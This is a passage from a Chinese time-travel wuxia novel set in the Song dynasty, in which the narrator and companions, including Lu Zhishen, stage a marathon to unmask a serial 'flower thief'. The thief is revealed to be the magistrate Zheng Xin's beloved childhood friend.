“不要”我脱口而出,“虽然不知你是谁,请不要乱来!”用仅存的一点力气,说出的话,似乎没有什么含量,来者没有理会我,也许他知道,我马上就要失去知觉了!该如何是好了。周遭很安静,我听得到粗重的呼吸声,还有细细微微的掀开被子的声音,不要,我心里不断的在叫,汗越流越多,我在不停的努力,我要站起来,救救那个傻女孩儿。。。。。。 “呵,好大的胆子,居然敢调戏我家官人,找死”如同雷鸣般划破夜空的声响,如闪电般的身手,只听噗的一声,就有人以迅雷不及掩耳之势飞了出去。此时的我稍微恢复了一些体力,可能是因为拼命的想移动,加上担心和惊吓,我出了很多的汗,反倒解了部分毒。 我终于坐了起来,看着瑚儿那边。哦,原来是天如意及时赶到救了瑚儿,我正想和她说话,却见她转过来,食指放在嘴边,让我不要说话。我默默的看着她转向瑚儿,用手轻轻的抚着她的脸颊,额头,捋了捋她黑的发亮的头发。然后,极其轻柔的为瑚儿盖好被子。我一直在静静的欣赏这一幕,心中浮现了一丝丝感慨,喜欢女人究竟会是怎样的一种感觉呢?芊寻,没有给我喜欢上她的机会,因为我领受到的是她对另一个女人炽热的爱。。。。。。 想着,天如意用眼神示意我跟她出去。 院中,月光如瀑。在白亮中,最为引人注目的,就是一位躺在正中央的人形了。我快步向他走去,想看看会是何许人也,说不定真的是那个涅蜂呢?但一近视,我有点震惊,居然是正气凛然的郑知州。 随后,冷岩冷语赶了过来,我们打算来个夜审郑鑫。当天如意为他解了上半身的穴道后,我们就围着他,他也没有解释半个字,只是涨红着脸,低着头,似有一副死不足惜的意味。就在我们不知该如何继续下去时,天如意那最后一句“你到底是不是采花贼?”还回荡在屋中。 “不是的,不是他”我们循声望去,见到了披着一件单衣跑过来的郑鑫的妻子——兰儿。她一进屋就跑过来抱着郑鑫,泪眼向我们喊着:“你们误会了,”“误会,要不是我赶到,指不定他会对宋公子做什么呢,连寝衣都解开了,我饶不了他”如意很是愤怒,欲上前打他。幸得的我们拦住。但是,兰儿还是拼命的摇头,“采花贼如今已在狱中,官人他,”一边抱着他,一边看了他一眼“官人他只钟情于男子” 原来她们就自幼定了亲,并顺利成章的在郑鑫十八岁时,嫁给了他。可是,新婚之夜开始便是一场噩梦,郑鑫坦言,自己的断袖之癖,对于女人他无能为力。但是,兰儿没有放弃,一直陪在他身边,只想好好服侍他,照顾他。 “这么说,你是因为爱慕我官人才使了如此下作的手段。”天如意追问,“既然你倾慕男子,那么涅蜂。。。。对了,你刚刚不是说抓到人了吗?” 郑鑫点了点头。一直以来,根据受害的女子叙述,涅蜂应该是一位光头,或许是和尚,直到最近有几位新娘被劫的案子,其中一件,有人指证出是那花和尚鲁智深干的,他抢走了新娘。随后,鲁智深前来自首,但说自己是大义之举,绝无作奸犯科之事。郑大人还没审完,鲁智深就不耐烦了,为了证明自己的清白,就把自己送进了大牢,等着官府抓到真正的涅蜂。 花和尚?又来了一位梁山好汉!宋代呀宋代!我正努力回忆着水浒传,希望找到点关于采花贼的故事,帮帮瑚儿尽快破了这案子,这样我们也可继续前行寻找我师父了,还有也免了让她非得娶天姑娘。 在兰儿的苦苦哀求下,考虑到郑鑫好歹是州官,好多破案的程序还得靠他,所以,我们约定了,今晚之事就此作罢,我们都不可以让瑚儿知道。明日,我们就去会会那鲁达,再着手抓拿涅蜂。而且,为了瑚儿的安全,明天我们就搬出这里。。。。。 夜,深深沉沉,我们个回个的房间,临分别前天如意凑过来,对我说:“你也不可以打宋公子的主意呦,不然”我不置可否的笑了笑。“那你刚刚又是为什么会出现在我们的房间里呢?”我笑问。 “那是因为,因为,就是,就是人家很想见见他嘛!但我可不是夜袭那种。”天如意红着脸,忙着解释。 “真的?那就好!”我一边歇着眼看她,一边进屋“别是郑鑫二号就好了,夜袭。。。哈哈哈哈goodnight!”我听到了身后,她气的跺脚的声音。呵呵。不管了,一切,明天再说。 进屋后,我望着恬睡的瑚儿,怨不得会有那么多人为了你睡不着。就这样吧!静静的坐着,再没有心思睡了。。。。。。 次日,我在瑚儿的排山倒海的起床系列操中回过神来。望着那小家伙,伸着懒腰,并拌着超卡哇伊且酷似娃娃鱼的哈气声,她一骨碌从床上弹起,揉着眼睛,小嘴嘟嘟着。看到在对面的我盯着她看时,微微的绽放了笑颜。这样的脸,将晨光染上了温暖,那双明眸似乎要诉说着什么! “昨晚睡的真沉呀!多亏了你的故事,我梦见自己。。。。。。呵呵”还没说完,冷岩一行人就来到我们的房间,天如意以光一般的速度像树袋熊一样缠抱着瑚儿,“人家想死你了,来香一下”她们又闹起来了。 虽然瑚儿很疑惑,但还是听我们的话,搬离了郑府。走之前还非要感谢郑家的款待,郑鑫没有出面,弄得兰儿的脸一会青,一会紫的,很是尴尬。我们让她转告郑鑫,不要忘了一会在大牢见面。 路上,瑚儿还是和天如意不断的斗气打闹,当然她对捉拿采花贼还是信心满满的。 看着她那天真的模样,我也跟着笑了,但是,却在心头泛起了一丝不安。太危险了,真的,她差一点就被毁了。我悄悄的看了看同伴,冷岩一如既往的沉静着,昨天的失职使他更加戒备周遭一切;冷语呢?和我一样欣慰的看着瑚儿。接着我发现了,虽然天如意貌似没心没肺的挑逗着瑚儿,但是,她眉宇间却有着更多的警觉和担忧。 目光再一次回到瑚儿身上。看着她,开心的蹦蹦跳跳的瞧瞧这,望望那。眼底是对一切的新奇与对真实的渴望。我的心里打起了辩论战,让她一直这样天真无邪真的会成为每个见到她的人从心底自觉涌现的责任。但是。。。。。 这样真的好吗?什么都不让她知道,那样一颗未经铅华洗染的明珠,在这样陌生而冷漠的世界里,该如何活的快乐,活的平静。为了寻求真实,她走出了禁锢之地。但是为了保全她,我们又一次将她困在了我们建筑的围墙之内,面对真实的世界,她一样隔着一层玻璃。我们这样的做真的对吗? “什么鸟地方,连酒也没有,郑鑫你给我那就来”狱里的鲁智深,掐着腰,低着头,烦躁的走来走去。见到我们来了,也没有理会,只是微微瞟了瞟。“你们何时给我送酒” “和尚叔叔,你真的是采花贼吗?”瑚儿打破了沉默,上前抓着木围栏说。“哈哈哈哈,小娃娃,你说呢?你给我找点酒来吃,我就告诉你”花和尚看着我们,笑着。 “你为何没有和林冲在一起呢,你应该是保护他才对呀!”我忍不住问,如果水浒传没错,林冲没有听我的话而进了白虎堂的话,接下来就是鲁智深一路护送他去服刑了。而且,提起林冲的话,或许他会愿意和我们交谈。 “你认得我贤弟,”中了,只见他眼前一亮,走过来。 “一面之缘而已,不知他现况如何?”我也上前说话。 “唉,一言难尽啊”他眉头一皱,讲的和水浒传差不多。而他之所以会单独流连于此,正是被林冲劝走的,约好后会有期。谁知来了这里,就听说有采花贼作恶多段,便留了下来,想捉住他,替天行道。 “那你自己劫新娘子又是怎么回事呢?”天如意,倚着栏杆,慵懒的问,语气里满是怀疑。 “那是因为,新娘子根本就不是自愿嫁人的,她另有心上人,只是为了抵债才嫁了那富户。所以我就帮帮她了。而且,亏了那一次,我才得以和那鸟采花贼交手。”鲁智深豪气的说道。 他和我们描述了一下,一个像是和尚的人。看来那人的功夫果然了得,轻功已然是独步天下了。鲁智深用尽全力才追得上,但是,却被他突然转身的一个回旋拳击中,伤了经脉。说着,他还扯开衣领让我们看,他的左侧脖子上一片褐色的瘀伤。我们交谈了大约一个小时的时间,郑鑫姗姗来迟。 “不可以凭他一面之词就断定他不是涅蜂。”郑鑫微微凝着眉说到。“那伤口也完全可以是他自己用力大无比的右手击伤的。” “你胡说,我就是为了证明自己的清白才自愿留在这里的,”鲁智深把着栏杆吼道。 “是呀,自从你进来了,涅蜂就再也没有出现过。”郑鑫背着双手笑道,“你说这是为什么呢?” “你,你们要相信我,这种地方我要想出去,太容易了。”花和尚转向我们说。 “鲁提,你难道不怕天谴吗?做了伤天害理的事,明明有心自首悔改,如今又何苦出尔反尔呢?你说你只是救了那新娘,那她现在何处呢?为什么看你这恩人含冤入狱,却不来为你作证呢?”郑鑫正言喝断了鲁智深的辩白。 “好了好了,我们出去说吧!”我提议说。经过刚刚鲁智深的讲述,我对涅蜂有了些许了解了。 大家都觉得呆在这里吵也无意,不如从长计议吧。我拉着瑚儿往外走,瑚儿不时的回头看着鲁智深,靠近我,“和尚叔叔真的是坏人?我看他挺可爱的”我笑着没有说话。 必须得去看看那些受害者,我们这样想着。于是在郑鑫的带领下,走访了那些受害的女孩,在她们的哭诉中,缠在涅蜂身上的迷雾,似乎没有丝毫的消散,她们大多被含有迷药的暗器击中,已经全无抵御之力,所以对加害者是几乎没什么印象的。 望着哭泣的她们,我咬咬牙,真可恶。恨在这样的时代,贞洁对女人比性命还重要。如今的她们,恐怕很难再有良缘了。该死的采花贼,毁了这些女孩一生的幸福。。。。。 “我看就是那个花和尚,”天如意,突然说道。我们一时沉默了。 “不会吧,我觉得不像”瑚儿低着头说,似是在回忆着点点滴滴的线索。 “宋公子,看来你很喜欢这里,还想在此继续做些调查,也好,既然涅蜂已经在狱中。本官就陪你好好游览一下此地的山川吧”说着,郑鑫笑看瑚儿。 “你找死呀。不知悔改!算了,官人我们快离开吧。省得被苍蝇烦着”天如意跑过来,拉着瑚儿要走,并对郑鑫挥挥拳头,以示警告。 冷岩冷语,默默的跟上。。。。。。郑鑫笑了笑。 其实,昨天晚上我可不是只呆呆的看了瑚儿一晚,我一直在头脑中串连这些线索。看了那么多柯南,破案,我自有办法。。。。。。 “不,我不觉得是这样,我们应该再问问和尚叔叔。谦月大哥,对不对”瑚儿跑过来,抓着我的手说,“这样对他太不公平了” “你错了,涅蜂就是鲁智深,这不用再怀疑了。”我看着瑚儿认真的说。 所有人都默默的点了点头,郑鑫的唇角再次微微的裂开,“看来,我的眼光还是挺准的,曹公子果然也是绝顶聪明之人!若是为官,定能平步青云。”那张本满是正气的脸上,如今写遍了急功近利、升官发财的字眼。是呀!如果,当真抓住了采花贼,那将是大功一件! “我们还是赶快离开这里吧!多留无意,我还要找师傅呢?”我望着瑚儿笑着。 “什么,你,根本就是自私!只顾自己找师傅,我不会理你了,我自己去抓涅蜂,”瑚儿气呼呼的转身就走。天如意用手拉她,却被她甩开“我们的比试还没完呢?” “郑大人,在下有一事相求,”我一边拉住瑚儿,一边说,“既然采花贼已经落网,我们一行人就该找人去了,我要找的人素爱凑热闹,你可否许我们召开一场热闹的比赛,一来找到我师傅,二来让久处恐慌之中的百姓乐和乐和,当然费用我们来出。” “这,”郑鑫微微颔首,侧目思索。 “现在可是安宁了,正好以此证明在大人的治理下,州里的百姓可以安居乐业了。”我笑着说。 “我可没工夫玩”瑚儿,跳着对我吼,这分贝,海豚音呀!“天如意,要不要一起来,反正也不用抓采花贼了,你想赢得宋帅,就抓住这个机会吧!” 天如意歪着嘴一笑,看着瑚儿,“好呀,官人赌一把吧?到时,你可就真的会成为我的官人了。” “你”瑚儿瞪着她。 “你放心,我会还鲁大哥一个清白。”我贴在瑚儿耳边,轻轻的说着,“你不会输的,所有的事,我会帮你,陪着你取得胜利。相信我。乖”说完,我将她被风吹散的鬓发捋回耳后,像一个姐姐是对待一个倔强的小妹妹一般。她只是眨着眼望着我,满是迷惑,甚至不知道该不该相信我。 “好”我和郑鑫同时说出了这个字。 “我们来个环城马拉松,奖金是一万两现银和“天下第一”的匾额,并且赢的人,我们还将给他本门的轻功秘籍《凌波微步》”我气定神闲的说,唉,编吧!金老原谅我!一切也是为了救人。 此言一出,她们所有人都盯着我,我只有笑笑作答。 宋代的马拉松,这是哪跟哪呢! 31、我在你身边 这一天,锣鼓喧天鞭炮齐鸣,人上人海,场面那是相当的壮观。被孽蜂压抑太久的百姓仿佛一下子解放了,比赛是现场报名的,只要领一条黄色的缎带随便系在身上就可以奔跑了。我穿着一身天蓝色的单衣,因为有纤云甲护着,所以“裸奔”也不会被人发现。只是为难了瑚儿她们,又不能被人发现女儿身,所以在青色的外衣里好似还有不少紧身的衣服,但是坦白说黄色飘带在她头上随风飞舞,如同凤凰身上的火焰般缭乱着,真的是飒爽的很。我笑着,有些入神的欣赏着。。。。。 “官人,努力呀,我可不会放水的,”一袭白衣,天如意如一道阳光闪现于瑚儿身边,恢复了女子的装扮。一手轻轻的替瑚儿拂去额上那一层薄薄的雾,一边笑说:“我赢了之后,官人要信守承诺呦。”而瑚儿却不耐烦的轻轻的甩开了她的手。是呀,她根本就没打算参加这场比赛,一心要救的鲁智深却被所有人坚信是采花贼,没有人相信她,连我在内。现在还要陪我疯,怎么会心甘情愿呢! 我转过头,定了定思绪。对郑鑫说,“大人,看来真的如我所说,百姓都很支持这项赛事。虽然您还没有定案,但是大家心里已经认定采花贼已被捕,所以才如此踊跃。这样吧,您一直在这里等着,待比赛结束,第一名登到这城楼上,你就宣布给百姓,孽蜂一案已彻底告破,如何!”郑鑫,微微侧目,但很快看向我,似笑非笑的回答“也只有这样了,难道这是我能决定的吗?哼!”说着他拂袖背向我,身边始终跟随着冷岩。不高兴也没办法,从昨晚起,我就以喝酒为名,一直拽着他,走走这跑跑那,完全让他跟不上节奏,这样就避免了他部署或通知谁些什么。虽然,我没有证据,但是我觉得就算他不是采花贼,也和这内幕有脱不开的关系,所以,我一直牵制着他。 百姓开始欢呼了,因为郑鑫在城头露了面,看着楼下人山人海,大家都摩拳擦掌蓄势待发。是呀,一万两呦,何乐不为呢!我们也别愣着了,赶快加入他们吧!当然,冷岩是留在郑鑫身边贴身“保护”。在州牧大人满是官腔的演讲之后,一位衙役从城楼上垂直丢下一坛酒,随着啪的一声,金花,不对,是水花四溅。城门徐徐打开了,这是readygo!的信号。于是,大家一涌而出,空气中混着挥发后酒的味道,就这样,我算是被人涌出了州城的东门。 虽然还是春天,但是日头已经很烤人了。起初,我周围还围满了人,但是渐渐地,我就一个人奔跑在山野之间了。你问瑚儿她们,可恶,从一开始就一白一青的两个身影以迅雷不及掩耳之势丢下我跑了,而且跑得很“开心”(本人的一个语言习惯,通常形容玩命或认真或很有感觉的做某件事)。因为,她们赌的是终身幸福,所以拼命的很,我根本就是望尘莫及。哎,腿越来越重了,什么运气,什么轻功,我真的是白白拥有了谦月的身体,完全不会用,除了这一身的伤病。 阳光刺眼,我的汗腺还是那样的发达,幸好纤云甲是透气的,但是,我还是湿透了,也许伸出舌头散热会好些吧。天呀!我在想些什么呢?晕了。怪谁呢!路程是我定的。环城的哟!从东门出发,顺时针跑在从东门回去,但是还是有时间限制的正午前。全程有多远,用冷岩所说的大概有一百里吧!加上时间限制god!绝对不是普通人能完成的。脚上的泡是自己走的!忍了。 眼前本来还是一条路,但是很快就多了一条了,重影了,怎么办我不会是中暑了吧!昏昏沉沉的,哎呦!什么东西,绊了我一下,我毫无反抗余地的向前扑到了。 拍拍晕晕的头,我回头看看那个障碍物。不会吧!再揉揉眼睛,瑚儿,“你怎么坐在这里?”我清醒了,只见眼前的瑚儿委腿坐在地上,额头鬓上汗水晶莹,“快起来,”我上前想扶住她。但是她轻轻的叫了一声,便捂着左脚,而且,紧紧的咬着樱唇,蹙眉!我轻轻的撩开的裤腿,呀!扭伤了,而且肿的挺严重的,白皙的肌肤中多了一片绛红。“怎么弄得”我问,心里急迫! “本来是帮了他,为什么他又会推倒我呢?人怎么”瑚儿说着,怅然失神。是呀,人有时就是这样的,明明是被好心人扶起,但是为了要赢,还是会急切的推开自己的恩人,只因为利益在前面。“没事的,瑚儿,你做的很了不起了。输赢不重要了,在我眼里,你就是大赢家了,你表现了你高贵的品质,这才”我搭着瑚儿的肩定睛的跟她说。 “官人,官人你没事吧?”我的手被人急速的抓离了瑚儿的肩头,听声音就知道了是天如意。我被她挤到一边,她抱住瑚儿,说“岂有此理,是谁恩将仇报,我帮你教训他。” “不要管了,我们的比试还没完,你不用返回来,快去吧”瑚儿温柔的说。 “不行,你还要怎么样,这样还跑什么,如果你要到终点,那我来背你,”如意拉着瑚儿的手,急切的说。 “不,我要完成这场比赛,我要靠自己的双脚,一步一步的跑完它,就算现在脚伤了,我也要爬到终点去。你快走,这是我们的比赛,我们要个凭本事。不然,我永远都不会在理你了,天如意”瑚儿,决绝的将手抽了回来,认真的一字一句的说。 “官人!”天如意被推的站了起来,还想说些什么 “求求你,让我靠自己的力量做点什么,求求你们,”瑚儿的眼中竟然也晶莹起来,语气中也多了颤抖。。。。。 “好,我在城门口等你”天如意,急的跺了下脚,然后一步一回头的迟疑,随即便向前急骋。 我望着她离去的背影,轻轻叹了一口气,虽然没有人听到,没想到,她已经为她陷得很深了。回头看着瑚儿,却见她,咬着牙双手支地,妄想站起来,我冲过,扶住她,但是她根本站不起,左脚不能吃力。“算。。。。。。”我还没有说出口,就听见瑚儿喃喃自语道:“刚刚明明还是可以踉跄走的,怎么现在完全没力了?”说着,她又挣扎着要起来,“够了,输赢根本不重要,你太在意。。。。。”我有些生气于她的任性。 “你什么都不明白,从小到大,我从没来有真正完成过一场比赛,无论是什么,哪怕是游戏,”瑚儿的泪水终于划过了她因为激动而有些涨红的脸,“我只是想好好玩,但是身边的人总是在让着我,明明很开心的玩着,输了也没有关系的。可是,爹爹不许她们赢我,所以正高兴地玩耍着,她们就跪地求饶了,大呼我的厉害,爹爹就夸我,变着法的送我礼物。我只能笑着,但是我怎么会开心。兄弟姐妹们不敢和我亲近,我好孤单。我只想凭自己的力量做我想做的事。为什么你们都不给我机会,让我知道这世间的一切,我不是傻瓜,前些日子郑鑫进了我们的房间,虽然我动不了,但是依稀听到了你的呼喊。但是事后你们都装作没事,为什么老是这样,冷岩冷语如此,天如意如此,连你也骗我。我想救和尚叔叔,你们在想办法,我知道,可是有偏偏不告诉我。为什么总是这样?我什么都做不好是不是。。。。。。”瑚儿终于抽噎起来,我扶着她的抖动的肩,心里满是怜爱,但是怎么又会有愧疚呢!本来是想保护的,反而却是伤害吗? 不管了,我一把扶起瑚儿,抽出她怀里珍藏着的,常常带在身边的薄丝纱巾,那是她娘留下的东西。她忙夺回去,止了哭,大叫着“你干什么,”我说“它的长度正合适,借来用用” “胡闹,这是我最重要的东西,死也不能碰”瑚儿鼓着腮,嘟嘟道。 “还想靠自己的脚走下去吗?”我微笑着, “当然,但是这个无论如何也不行,”说着,她扭过头,不理我。 “那没办法了,”我一把轻轻的拿下她头上黄缎带。呵呵,瑚儿着实吃了一惊,一头青黛如瀑般散开,随风缭乱,散着淡淡的香气。我不敢在看,担心会着了魔。 赶忙低下身将她的左腿和我的右腿绑在一起,让她的左脚踩在我的右脚上,飘带固定住了,ok!起身见到瑚儿不知所措的抚着自己的头发,好奇的看着我。而我,早就揽住了她的腰,另一只手拉着她的手臂搭在我身上,“出发吧,小战士!”我带着她向前跨了一步。 “这,”瑚儿终于破涕为笑,“哦,这样就可以了,我们共用一条腿,但还是可以靠自己的双腿走完这条路。”我点点头。就这样,我们“玩起了”二人三足的游戏。 虽然,太阳的光更加毒了,但是,不再那样累了。说真的,如果一个人完成全程真的是吃不消的,两个人呢,虽然步子不像狂奔那样快,但是可以互相依靠,借着彼此的支撑,一直走下去。真的很好! “你真的觉得他会出现?”瑚儿突然问道。 “谁呀?”我明知故问。 “采花贼呗,”瑚儿微微的笑着说,“你说过会救和尚叔叔的,这比试也是为了抓真正的凶手吧?只是,他会那样张扬的来赢吗?” “他还不张扬,我翻阅过卷宗了,有一次,在官方设好了埋伏的情况下,他竟然在800官兵的包围下得手了,从此名声更是远播。加上他对轻功的痴迷,所以,不用担心了,他必定会加入比赛的。” “哦,我相信你”瑚儿坚定的说,不等我再问“你真的做到了,陪我一起完成比赛,所以,今后我都会相信谦月大哥你的” 一路上,花香萦绕,山明水秀。周围的风卷起我们的衣襟和头发,而更让我惬意的是随风飘扬的瑚儿的笑。 我们不像是在比赛,倒像是沐浴在春光里一般。 而且,我们还可以谈心聊天,我知道了,瑚儿幼年时的顽皮可爱。但是可以感到,在宠爱中长大的她,也有很多忧伤。我没有追问,因为,每个人都有不愿意提起的秘密吧! 终于快到东门了,门口的冷语在眺望着我们,并且迅速向我们跑来,在她旁边是最后一个饮水处。这是我提的,让冷语在沿途设五处两个大摊子,这样为参赛的人提供水上的补充。 “公子,你怎么样了,”冷语要上前扶瑚儿,但是被瑚儿止住。 “官人,我等你很久了,”天如意也跑过来了,原来她不想占便宜,算是为了公平些,所以她一直站在这里等着。“刚刚只有两个人进去了,追上倒是不难,我们走吧” 说着,我和瑚儿还有天如意向城楼奔去,冷语紧跟在后。“真正的孽蜂,就在前面了吧,曹公子”天如意若无其事的问,我笑着点点头。大家怀着坚定前行。。。。。。 32、情逝 我和瑚儿相互依靠着加快了前行的速度,这一路赛程让我们有了不小的默契,两个人配合的依然可以赶上天如意等人。渐渐的,我们终于和领先的两人并驾齐驱了。路程真的是太远了,到了城楼低下,我们所有人的气力也都耗得差不多了,就算是天如意,也是有点微微吁吁。 “胜者登楼了”百姓一片欢腾,在等待我们回来之时,这里也开了集会一样,做各种买卖的也穿梭在人群之中,街上满是人,当然较为惊奇的还是出现了多日来都不敢上街的女子们,欢笑声,叫卖声,孩子的玩耍声,声声入耳,真是好不热闹。最奇的是,居然有人已将我们五人的名头写好,压起了宝,赔率不一。。。。。。 哎,这是为谁辛苦为谁甜呢,我们跑得快吐血了呀。 算了,总算结束了。我们五人登上了城楼,准确的说,我和瑚儿还有天如意是同时到达的,并列第二,至于第一嘛,也是两位。 我解开了和瑚儿之间牵着的带子,冷语赶忙扶过她坐在一边歇息,治疗。我大口大口的喘着气,看着两个冠军,都是精瘦的人,一个留着八字加小山羊胡的大叔,面色较黑,但两条腿,一看就是国家一级运动员,大腿小腿一边粗细。另一个嘛,个子中等,瘦瘦的,年纪轻轻的,嘴唇上有很性感的资须,就是白瑞德的那种,唇红齿白,一看就是个美男胚子。 我又转头看看天如意,气息还是有点急促。但是那两个人呢,早已恢复了。这就不好办了。这时,冷语又端了个托盘给我们送水来。是输气散热的解暑汤,很是受用,我笑着举起杯说了句请,便一饮而尽了。天如意,警惕的看着对面的两人,希望从这里发现些蛛丝马迹。此时的我已经不担心了。 在冷语过来的同时,冷岩“随着”郑大人也走了过来。此时,郑鑫面无表情,看看我,看看城下的百姓。“各位百姓,今日,借此‘马拉松’大会之际,大家共聚于此。本官宣布,前日一直以来为非作歹的孽蜂,已经落网了。大家可以放心的过日子了。”城下随之而来的是惊天的欢呼声。 “哈哈,你们想抓爷爷还早着呢,州府老爷,拿命来吧”众人还来不及反映,只见一个黑影从天而降,对着郑鑫劈头就是一掌。冷岩并没有拦着,而是跳到了瑚儿身边保护。眼看着郑鑫的脑袋就开花了。一只白皙的手挡开了那一掌,并且抓起了郑鑫跳到一边。 定睛一看,此刻在郑鑫身边的不是别人,正是那美少年。黑衣人继续进攻,便和那少年打了起来。城下的百姓一直在欢庆,根本没有注意到我们这里正打得不可开交。 大约双方交手了百二十招,突然,少年一个转身回旋拳,打中了黑衣人的颈部。黑衣人应声倒地。 少年马上回到郑鑫身边,忙问,“你没事吧?”。 黑衣人又笑了,“果然是你呀,小子。”说着,一跃而起,平安无事的站定,揭开了面巾。“花和尚叔叔!”瑚儿大喊,“你怎么出来了” 鲁智深笑笑,“小娃娃,为了证明我的清白,难为你们了。我也不能袖手旁观呀。”说着,他又转向,郑鑫两人,“小贼,你还是快点投降吧,做了那么多孽,还想让别人替你受罪到几时,”说着,鲁智深从脖子上取下一块厚牛皮,“你的绝活,已经没什么用了,而且功夫似乎也没以前好了,今日擒住你正是时候”说完又要上前了。 少年一跃,却没有飞起来多高,又落下了。“你们给我喝了什么,明明没有毒的,怎么”他瞪着冷语,像一只困兽,扫视着我们。 “怎么会有毒呢,我并不想误伤无辜,”我向前迈了一步,瑚儿却踉跄的跑过来推开了我,“谦月大哥,小心”声音未落,少年早已冲了过来,一手扼住瑚儿的喉。等我们反应过来时,我甚至来不及触到他的衣襟。他手中的人质本该是我。 “你不要乱来,放了我家公子。”冷语喊道。 “放了他,好,让我走。虽然不知道你们用了什么毒,让我轻功失效,但是”说着,他加大了手上的力道“你们的朋友在我手上,你们最好乖乖的让我走。” “你这混蛋”几乎同时,天如意与鲁智深把拳头捏的直响,大骂道。 “好呀,你们在乎他是吗,好,我也不着急走了,到说来听听,怎么想到了这些怪办法找我。”他露出了浅浅的笑,转向我“你来说吧” 的确,这一切的策划者正是我,那个自以为是,年轻幼稚的我。仗着自己的一点推理知识,没有考虑周全才产生了这样的局面。 “你喝的东西,和我们的一样,是解暑的凉汤罢了,只是,这汤里加了萝卜。”我尽量让自己不显出担心,说出了我的推测和计划。 那日看了鲁智深的伤,再听了他和受害者的描述之后,我知道了孽蜂是个惯用左手的人,所以沿途的饮水处分为左右两边,大多数人在疲惫的情况下是不会隐藏自己真实得本性的,左面的水中加了大量的萝卜汤。当然,孽蜂可能防备,不曾喝过,但是到了城楼上,作为胜利者,当着大家的面,不能不喝,否则就太稀奇了,容易引起怀疑。一旦喝了,他的左撇子习惯就会被我们看出来。还有这当中,萝卜的作用可不可小觑,它虽是在普通不过的蔬菜,但是它却有个功效-------散气。我问过冷岩,练习轻功的人主要靠得就是丹田里的一口气,一旦气不得聚,那么他就杯具了。这样我们会很方便抓他。 那么为什么要用马拉松赛呢,孽蜂之所以叫蜂,其实,还因为他喜用吹镖作为暗器,这就要求了他的肺活量必须过人。所以,就得采取这最费气力的办法。 “很好,但是,这只是侥幸,也许我根本不会出现,”孽蜂故作不屑的笑了笑。 “虽然,不敢肯定,但是,我相信你会来的,因为这里有你想要的珍宝,”我努力使声音平静。 “珍宝,”孽蜂又笑了,他的眼神涣散了一瞬间,还是笑,只是笑得凄凄然然“你的银子,还是你的秘籍,我。。。。。啊”孽蜂突然喊了一声。原来,冷岩刚刚已经屏住了气息,绕道大家都没有注意到的地方,等待时机出手,此刻,他剑光到处,孽蜂的两处琵琶骨已经被刺穿了。他一把推了瑚儿出去,手攥着空拳放在嘴边。 不好,他要放吹镖。我刚刚接住瑚儿,还没站稳,但是情势紧迫。我抱着瑚儿一转身,把她挡在我怀里。我想用背来接着一镖,我有纤云甲,运气好的话,一定比瑚儿受这一下好。 但是,什么都没有发生。。。。。。 瑚儿在我怀里,张大眼睛看着我,我们都惊魂未定。难道孽蜂被杀了吗。当我回过头时,却是另一次惊奇。似乎又是在我意料之中,他肯定了我的想法,但是,我曾一直只是猜测。 我们静静地看着,郑鑫从后面抱住孽蜂,并不是企图拖住的那种,而是,温柔的,看上去,那么轻又那么紧。 “不要。。。再伤害任何人了”郑鑫微微有些哽咽,“茗蕙,我们的错,我们一起承担” “和你无关,是我自己的事,你放开我吧,不然他们会连你。。。。。”孽蜂说着,流了泪,“不关你事的,是我的罪,我的” 郑鑫慢慢的把孽蜂转过来,轻轻的揭下了他的胡子。我们觉得他和郑鑫的妻子兰儿好像。 “茗蕙,你别闹了,”所有的人都深吸了口气,因为听到了郑鑫的话,这当中究竟有怎样的隐情。。。。。。 33、情释 不知过了多久,郑鑫命人将孽蜂带回了牢里,等待极刑。我们跟着像是活死人一样的他,回了州府,希望他可以给我们个交代。因为,这件事,真的是太令人难以置信了。 一进门,就看见郑鑫瘫坐在椅子上,待我们全都进来,他就自动的开始说话了,声音很轻,目光涣散。好像是说给自己听。 “第一次见他,我们只有七岁。。。。。。” 原来,他和孽蜂,不,应该是茗蕙,是十年同窗。他们曾天天在一起,读书生活。茗蕙家世代习武,但是茗蕙却没有半点武将气息,反倒是长的唇红齿白,越来越出落的像个美丽的少女。郑鑫一直照顾着他,因为,茗蕙的美艳,经常遭到同学的调笑,而茗蕙天性又很腼腆,总是任由他们欺负。郑鑫虽也是一介书生,但是为了保护茗蕙也打了不少架。 就这样,他们充当着彼此的同窗,知己,兄弟。 直到有一天,他们一起通过了乡试的晚上,两个人开心的喝醉了酒,醉醉的回到了书院里,到头便睡。第二天醒来,郑鑫发现自己怀里揽着一个美丽的少女,惊慌之余,才发现,原来是茗蕙。昨夜,两个人回来之后,同学为了玩笑,竟将茗蕙扮成了女孩子。真是荒唐。郑鑫刚想骂人,但是当他仔细的看着茗蕙的睡脸,他呆住了。 “茗蕙他真的很美,美得,让我在那一刻忘了呼吸。。”郑鑫缓缓地说着,嘴角展开了微笑,那是最纯洁的回忆。我们静静地倾听着。 后来,郑鑫开始明白,自己对茗蕙已经不可能像从前一样了。有时,他真的希望茗蕙是女孩子,那样自己就可以名正言顺的娶她了。但是,这都只是他的梦想罢了。 郑鑫隐藏着自己的感情,他怕一旦僭越,就会粉碎了他和茗蕙的牵连。 后来郑鑫中了进士,他娶了茗蕙的妹妹! 因为父亲以死相逼,他不得不娶妻了。洞房花烛夜,当他用秤杆挑起盖头的一刻,他愣住了,新娘和茗蕙好像…… 一时还处理不了自己的感情的郑鑫,不知该如何面对兰儿,所以,他一直冷冷的相待,并说自己不喜欢女子。 渐渐地,周围的几个州镇出现了名为孽蜂的采花贼,郑鑫所管辖的州镇虽然少有案发,但是人心惶惶不可终日。郑鑫日以继夜的追查,确是一步步的走向心碎,他和茗蕙再重逢是他犯案后。不甘心的茗蕙,从不爱练武的他,竟然偷偷开始练乾坤秘术,这种功夫可以使阴阳颠倒。想变成女子,留在郑鑫身边了。郑鑫听了,“你怎么可以这样做,你”虽然样子是在生气,但是气的确实茗蕙自残身体,这比杀了自己还难过。 “为什么你要练这样害人害己的功夫,”郑鑫撕着手中的书,我们猜那就是乾坤术的秘籍。 郑鑫也是无意中发现的,随意翻了几下就足以证明茗蕙是孽蜂了。原来,如果想变成真正的女子,他必须取得七名女子的贞洁,借着那阴柔之气修炼,这样他就可以变成女人了。 郑鑫知道这件事时,他疯了似的向茗蕙呼啸,这样丧尽天良的事,你怎么做得出。茗蕙哭了,郑鑫爱的是女人,那就该是我,就算天诛地灭我也要和你在一起。但是这份感情建立在太多人的痛苦之上了,他们已经毁了太多人一生的幸福了。错了错了。怎么可能当做什么事都没发生过呢? 郑鑫无论如何,也不忍心将茗蕙缉捕归案。但是,却再也面对不了他了。 郑鑫也曾想先让鲁智深顶罪,然后悄悄放了他。没想到我们横插了一把手。 